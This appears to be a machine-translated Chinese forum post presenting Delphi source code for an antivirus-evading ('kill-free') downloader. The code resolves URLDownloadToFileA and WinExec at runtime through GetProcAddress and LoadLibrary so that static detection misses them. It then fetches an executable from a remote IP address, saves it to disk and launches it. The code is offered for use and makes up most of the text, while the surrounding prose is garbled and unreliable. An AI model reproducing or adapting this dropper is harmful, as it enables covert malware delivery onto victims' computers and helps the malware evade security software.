Delphi
Source code-free function dynamic call implementation of the free-to-kill downloader to compile the code to see how much more than n kill soft nothing technical content just sent to the people do not understand the entry to prevent the new person always ask
Shellapi,urlmon
Unit
Delphi Dynamic Invoke API function
Procedure Tform1.button1click (Sender:tobject);
Var
sourcefile:ansistring;
destfile:ansistring;
Down2:function (Caller:iunknown; Url:pchar; Filename:pchar; Longint:dword;
Statuscb:ibindstatuscallback): Longint; stdcall;
Exe2:function (LPCMDLINE:LPCSTR; ucmdshow:longword): Longword; stdcall;
Begin
sourcefile:= ' Http://172.16.126.152/UrlDown/k8team.exe ';
DestFile: = ' f:\bbbaa.exe ';
Once the original function is downloaded, the typical downloader
Common function is a kill, you will kill the road, you can't even see it.
Urldownloadtofile (Nil, PChar (sourcefile), PChar (DestFile), 0, nil);
WinExec (Pchar (destfile), sw_show);
to correspond to the original function
Dynamic invocation
@Down2: =getprocaddress (LoadLibrary (' URLMON. DLL '), ' Urldownloadtofilea ');
DOWN2 (Nil, PChar (sourcefile), PChar (DestFile), 0, nil);
Dynamic invocation
@exe2: =getprocaddress (LoadLibrary (' Kernel32.dll '), ' winexec ');
Exe2 (PChar (destfile), sw_show);
End
//============================================================================================================= = = attached function prototype
Urldownloadtofile
Function
function Urldownloadtofile; External urlmonlib name ' Urldownloadtofilea ';
Urlmonlib = ' URLMON. DLL ';
function Urldownloadtofile (caller:iunknown; Url:pchar; Filename:pchar; Reserved:dword; Statuscb:ibindstatuscallback): HResult; stdcall;
WinExec
Function
function winexec; External kernel32 name ' winexec ';
kernel32 = ' kernel32.dll ';
function WinExec (LPCMDLINE:LPCSTR; ucmdshow:uint): UINT; stdcall;
Delphi function Dynamic Call implementation of kill-free